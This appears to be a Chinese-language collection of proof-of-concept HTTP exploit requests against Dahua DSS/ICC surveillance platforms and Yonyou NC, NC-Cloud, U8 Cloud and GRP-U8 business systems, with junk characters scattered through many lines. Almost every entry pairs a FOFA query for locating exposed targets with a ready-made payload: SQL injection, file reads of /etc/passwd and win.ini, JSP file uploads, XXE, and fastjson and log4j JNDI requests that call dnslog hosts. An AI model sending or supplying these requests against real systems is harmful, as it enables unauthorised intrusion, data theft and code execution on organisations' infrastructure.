5 T' C' s* I7 ~* ^0 t# Ypoc中调用函数计算1234的md5值
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
6 A  B, s) L4 x! u5 z7 h3 V0 rUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
6 h' @& ?# ?+ H  lConnection: close
6 Y8 e# c( d+ ~, r, }( PAccept: */*
' Z- g+ s  D# I* G* M, ?- GAccept-Language: en
Accept-Encoding: gzip

  s7 o# Q  m* b8 O3 A
" V6 N7 F" [$ @17. 大华 DSS itcBulletin SQL 注入
2 M; o$ Y3 }& c5 J2 jFOFA：app="dahua-DSS"
9 U: v0 t' S  S3 e: l; RPOST /portal/services/itcBulletin?wsdl HTTP/1.1
6 w9 k1 C; h% O! s1 F+ }+ OHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
: p- l7 i, B$ \1 c7 c$ KContent-Length: 345
1 D2 x% Y8 m* y3 H; uAccept-Encoding: gzip

<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
" ~7 \0 W0 A6 g3 `& d) Y% B+ b    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
7 B3 r2 `7 [) L3 j+ ~      </netMarkings>
, O% C/ e6 Z/ V* s( O8 r3 k    </ns1:deleteBulletin>
  </s11:Body>
</s11:Envelope>
9 d. M2 H3 G  V4 j2 D+ l! A* k. x

; j+ Z; R/ v( ~* a& P" Q18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
& P3 ^/ v" H  Y5 a4 j+ X% P, k# ]1 ^FOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
- I$ Q6 `6 r$ Q6 eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

$ a7 z& l4 ~: v$ {3 Q4 n
+ r* L, H  R/ M8 n5 C
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
3 k/ A5 g. }+ I
/ b% M' r% `( X4 P. T/ A- I
20. 大华ICC智能物联综合管理平台任意文件读取
" d2 a8 Y+ B$ {/ {. zFOFA：body="*客户端会小于800*"
. A, ~- K, `& y: J) S% s  ?1 IGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
( B2 L5 r1 A1 M! |User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
% j' J8 \& h6 g4 ~* {$ ?Accept: */*
Accept-Language: en
5 N$ \; M; q9 R7 m7 X! ZAccept-Encoding: gzip
6 t9 {. Z3 |3 l7 w& K3 n
( N- t8 u$ Z: E7 |# {' C4 V- C2 x
; D# x3 S3 Z9 W% C& A21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
$ C2 @& K. u) [* CPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
4 u2 q8 S$ |& Q% m+ K' \4 tHost: x.x.x.x
1 [5 l1 p2 H/ `1 @% U* t5 nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
+ i7 I! I5 d8 ?( I- z1 b) mContent-Length: 161
/ p8 S! |; w9 K- ~" V. JAccept-Encoding: gzip
1 g  ^; ^! K/ z  n( e( H( `Connection: close
6 W  b  R8 l( HContent-Type: application/json;charset=utf-8
' m5 _) _( B% \5 o, R7 J( M4 \
4 k( `# L5 r. q4 `+ {/ i" q2 e{
"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
- H; c6 [7 D( k) A  U    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
}


+ k6 x% @6 k9 c: a22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
0 ~3 r5 g: T( _* kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8
$ i* G7 q5 }& W9 H7 g
{
9 J7 p& |1 G2 o+ j4 \" G6 c"loginName":"${jndi:ldap://dnslog}"
0 i8 `# J8 N. k! m}
6 }& `) H- r, o& Y& A) u
9 X) b; z: r! T3 F1 y
/ ^3 \+ V7 u: A* \
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
4 E  |0 W6 U3 ]6 B$ ?POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
$ \% \3 E' K& z+ c4 r2 Y) CHost: your-ip
% C  @4 u5 P6 c% s; s5 h) ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
9 n5 l" m: e- {3 P: y5 ~Accept-Encoding: gzip
, _, M7 b" O- d$ x  p: LConnection: close

0 q* W$ q( Q' c+ k9 x! n{
7 ^2 R4 t" T  q6 i! k0 c+ O9 o' t    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
}

5 D8 u% u/ O' L0 w0 b  u
2 O% y$ N/ f8 b4 }24. 用友NC 6.5 accept.jsp任意文件上传
' d3 z* ^6 K7 w) W$ e. ZFOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
( b: L  e! n( B7 QHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
6 z6 C; B+ T+ P+ g8 v1 o  RConnection: close
8 A/ h. I( D8 i. P$ m& f- W$ \Content-Length: 449
Accept: */*
Accept-Encoding: gzip
- p' }! |" d9 i, O% H! e" ^' p, tContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain

1 t  U" K( U8 }1 g5 c: X0 a<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"
( F) ]! }8 ~/ W3 [5 l
3 G( m" V2 f4 W3 Z; d\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
4 }' R9 }' Y$ F6 u3 g-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--


25. 用友NC registerServlet JNDI 远程代码执行
  G9 F% Q$ h* k5 z, cFOFA：app="用友-UFIDA-NC"
' v2 S/ H  T  Q3 q& P/ \" wPOST /portal/registerServlet HTTP/1.1
7 X" k6 K& P9 Y- P. x5 H5 `) [6 ~Host: your-ip
: q2 C/ }  \* Q0 [* O9 u5 AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded
5 D- V( m2 V. t4 l
type=1&dsname=ldap://dnslog


% W. |( B) G0 o0 o/ Q* h# d" _
5 q" }( N: W$ [' O/ P' @: D26. 用友NC linkVoucher SQL注入
+ E$ ^: A( J+ B& ?" VFOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
  l& t& m5 Z6 ]Host: your-ip
5 z1 {7 q: M4 u3 i) @& E- ^6 nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
4 o; P: s! m' V( j2 ZContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
! \$ c" i: ~% e" }0 T: p) P) `( F. wAccept: */*
Connection: keep-alive

( V; V6 k4 m7 [3 @9 N# r+ C3 P
27. 用友 NC showcontent SQL注入
5 H( a5 W5 i1 xFOFA：icon_hash="1085941792"
. g" n5 k' s3 w" w% hGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
& T0 `* J3 d# I% k" ]( Q6 S& JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
& e$ H: i1 n. n1 F, h: F1 `: q' FConnection: close
- _1 m$ l* w7 y  EContent-Type: text/xml; charset=utf-8
# \  A8 q) G9 E0 F* M/ o

28. 用友NC grouptemplet 任意文件上传
" U& i7 b* ?7 n) e6 o2 L+ MFOFA：icon_hash="1085941792"
0 q; `' ^# F5 y% P9 GPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
9 f, w4 E0 L) Z1 b5 DHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
Content-Length: 268
& j) U. c6 Q  u6 ?6 m$ A+ CContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip
8 [. t* A4 h$ G" d' l. ?( `+ o
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
' [; N5 J! _$ f; |: HContent-Type: application/octet-stream
) t7 v$ r2 R: ]) h
# a- m) [: y8 E* Z- J<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
+ ?8 J! x2 S! e1 z4 A
4 J+ y2 v9 B: b& _  x& P4 e
0 w( Y8 W; ]6 p* b2 |2 y  P# Y. D/uapim/static/pages/nc/head.jsp

29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
5 o6 w, r, Z. p4 NHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
1 g, y: I+ c  r% D( s: f# x2 I. GAccept: */*
5 k8 s# f9 _9 j5 |& jConnection: keep-alive

- K: f- C/ l! _5 y1 Q+ B" T
8 d- G+ d& W# l2 v  G0 L: t  q0 F30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
5 M- q8 H6 u  c0 S4 WPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
, g/ n, v$ ?% Q7 q6 T9 c9 ^Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
. l, m* G' n5 V$ e! IConnection: close

------WebKitFormBoundaryH970hbttBhoCyj9V
! x. N1 A) Y& Y0 |, S. PContent-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
) n' a, A6 b0 E' Q' d0 q------WebKitFormBoundaryH970hbttBhoCyj9V--


31. 用友NC runStateServlet SQL注入
version<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
- i+ L$ o0 _% f1 C9 A8 uHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded


32. 用友NC complainbilldetail SQL注入
9 b9 f) m' ?5 T. [# ^version= NC633、NC65
" B# G, A+ v& \3 mFOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
7 G7 e2 s3 ~6 D2 a, H  I( ?) {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
1 D+ x7 q% a2 w$ {- o- S+ Y4 M/ ?5 xAccept-Encoding: gzip, deflate
  O( p( X: z+ p# g+ j# D7 P2 WAccept: */*
Connection: keep-alive
& }  @; k  r5 y/ ~

- g3 c( d9 a! p1 z5 d+ [" w33. 用友NC downTax/download SQL注入
7 ]4 C& z+ v4 Fversion：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
5 ?7 M) `; x6 f" ~* Q% ?Host: your-ip
9 e! [2 a7 H0 S7 n3 k6 {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
/ ^" ^7 k* k, N1 T. r) O; B- gAccept: */*
- S2 R8 t' T5 EConnection: keep-alive
& i/ p& ?( C# Z' V; P7 S: l
$ I7 e" Q: c) r; [
8 t! A! u2 u& {8 V; {: c+ S4 N34. 用友NC warningDetailInfo接口SQL注入
4 u& V, k+ `3 ]) LFOFA：app="用友-UFIDA-NC"
4 K* n. n. j3 A  K. M* N$ tGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
. i! r! ^# \$ c  B3 l2 v# v7 o) FContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

! a! D; q  h3 T$ J8 R. H4 S
35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
1 v/ L& j8 \: v* g# q. X( G) _User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
, A4 D/ l  q8 WAccept: */*
# I* e: m4 B+ B% JConnection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
! j- O/ C1 e$ TContent-Length: 190
& T- Y9 v% N: C8 V/ [Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
$ C" h' y0 ^" E' t3 k
--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
' w: E: z6 z- R8 D/ C: z
4 \- j: p" V9 t( |: Q<%out.println(1111*1111);%>
  y. X2 e" h' G; M--fd28cb44e829ed1c197ec3bc71748df0--


6 R) n$ @& ]2 ~. [7 D. ^36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
" G0 m/ ~4 H* u+ J# wPOST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
# p7 J4 n+ E  `Content-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
. L1 j; X% [. o1 R$ G8 j- Z( Y& oAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
+ `# `* }6 j1 I' IContent-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1

msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a


37. 用友NC-Cloud IUpdateService XXE
' l) R: ]  P2 H0 w/ e2 k# \4 oFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
3 ]3 |% E5 n3 w  ?3 y. |+ kHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
1 `% A; F: P2 B5 @Content-Length: 421
! U' x( B; P4 I1 R. ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
2 v( d4 H9 c' L; V& ^Accept-Encoding: gzip, deflate
% {0 z, m) a- K& t& N+ t& DAccept-Language: zh-CN,zh;q=0.9
, A( s. t% ]3 fConnection: close
Content-Type: text/xml;charset=UTF-8
SOAPAction: urn:getResult
8 M" q2 N, |+ R' VUpgrade-Insecure-Requests: 1
$ u3 W6 i! X0 B. u
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
<soapenv:Body>
<iup:getResult>
7 b6 A2 K/ \7 R6 p2 {1 K# u<!--type: string-->
! ]- ]+ m& o* V5 i9 ]<iup:string><![CDATA[
2 c2 H; w! p' p: ?' r6 ^2 ~, i( G4 J<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
</iup:getResult>
; g" x( q8 z+ e0 a8 N! g</soapenv:Body>
$ w3 [, N9 j0 B3 O</soapenv:Envelope>

' L# \( v! j/ n; b

1 @, i# N& _3 R4 Q% V9 n6 i38. 用友U8 Cloud smartweb2.RPC.d XXE
6 F% B# S3 O5 l7 |6 F* NFOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
, t. {" B! i( I( T1 oHost: 192.168.40.131:8088
* n: B. `; k$ |( A: @8 @7 @4 AUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
% }/ P- b" c- Q" vAccept-Language: zh-CN,zh;q=0.9
8 `. y: F  j, F+ }7 uConnection: close
7 o9 I# {/ C" A* y7 z$ J& TContent-Type: application/x-www-form-urlencoded
$ ~6 @& b5 W  x( F
__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
$ t# l2 d4 m6 e

+ \9 Z7 F, `* ]7 X3 S) Z' l39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
% D9 f2 T, G( d* c2 jPOST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
/ L4 `% w% V7 B1 mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
0 G+ v0 C. C5 V+ n9 ]Content-Length: 85
Accept: */*
; X- F! U  e. C) n9 |6 n2 \5 [1 |' oAccept-Language: en
; x& h/ V* m2 Q2 m) A% ZContent-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
: h3 Q0 c. _9 h' AAccept-Encoding: gzip

usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
* ]: \; d6 }3 y) F" w& H

$ m8 z& w1 ]% `1 l, R' f40. 用友U8-Cloud XChangeServlet XXE
* k$ [/ p: c4 I3 |; uFOFA：app="用友-U8-Cloud"
) D3 X3 H8 t9 A& M$ b9 @9 k$ DPOST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
  B5 p+ t2 |- g5 TContent-Type: text/xml
0 `4 N4 Y: Y  {& H8 ZConnection: close

<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
0 V4 t6 v0 ?5 l8 l" c; J% N4 u

7 n4 b. Y' k" [% a! U1 I: L0 i41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
9 {' S8 x# F: d5 Y" X1 l! bFOFA：app="用友-U8-Cloud"
* p7 h0 g: ]& C: L  A* rGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
" n4 ?1 i0 w) U3 K2 S7 A& {( mAccept-Encoding: gzip
Connection: close
8 i' w" C" ]) v/ `! J0 V' `: f( J7 E' m

42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
( s0 T! V$ l- U+ U  k: J  IHost: x.x.x.x
/ O% Z" j4 O* S% uContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
5 _7 L1 Z9 z. ?$ I0 M  y( T
PAYLOAD

' r4 O+ M! F" T+ N; B: C
http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
Host: your-ip
9 F7 F  e. _# V% j$ kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
! E! [1 [* o0 p8 Y8 c+ JSOAPAction:
Content-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
   <soapenv:Body>
5 R/ W7 e) L- P) e' E" r: @      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
7 e; Y+ l0 F# ~, s. D$ D- D         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
   </soapenv:Body>
</soapenv:Envelope>
) @8 _$ o  X4 i

1 f( `8 `5 W$ V% U* Z44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
/ h# t# L) [& f1 f, W* `User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
9 W- _' T# m  _; l' {7 X; |* R  YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
0 F2 Z: i4 Z, L; ]6 L5 ]Connection: close
& w, h7 Z$ m0 d2 f& _5 E

+ r" v2 Q# P7 b7 t6 j) m45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
2 I7 [- }7 ?  Y3 e* H) VPOST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
( t7 j& I  `% e2 Y2 BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
) `+ A9 h1 }9 A1 U6 G. zConnection: close
) A3 J1 Y4 U9 I5 a5 P! y  y9 BContent-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; Y3 G$ }6 A0 |" a* |Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
6 {' M% k- S" B6 lAccept-Encoding: gzip
% Y1 P( V8 [* q, ~) `/ i" O1 B
reqData=<?xml version="1.0"?>
& D$ S  m1 Q0 H<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
; ~( B7 y/ U* c" Q& l" B
. ?1 c6 Q& c% K4 }/ v! x0 i
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
4 U3 g  n. D) t- ~5 [, zGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
7 `( @6 L. T' A( hUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 d3 b" z5 F$ M* y2 x9 d  WAccept-Encoding: gzip, deflate
) w) Y6 A; l& N, q% ?Accept-Language: zh-CN,zh;q=0.9
Connection: close


47. 用友GRP A++Cloud 政府财务云 任意文件读取
/ R) l0 |* Q. C( e5 LFOFA：body="/pf/portal/login/css/fonts/style.css"
6 ]( I# l, r& h% N" m% l# }6 R) q* MGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
/ ~) `! i" E4 RHost: x.x.x.x
) [, A  t' c+ j) [" \& X/ G4 NCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
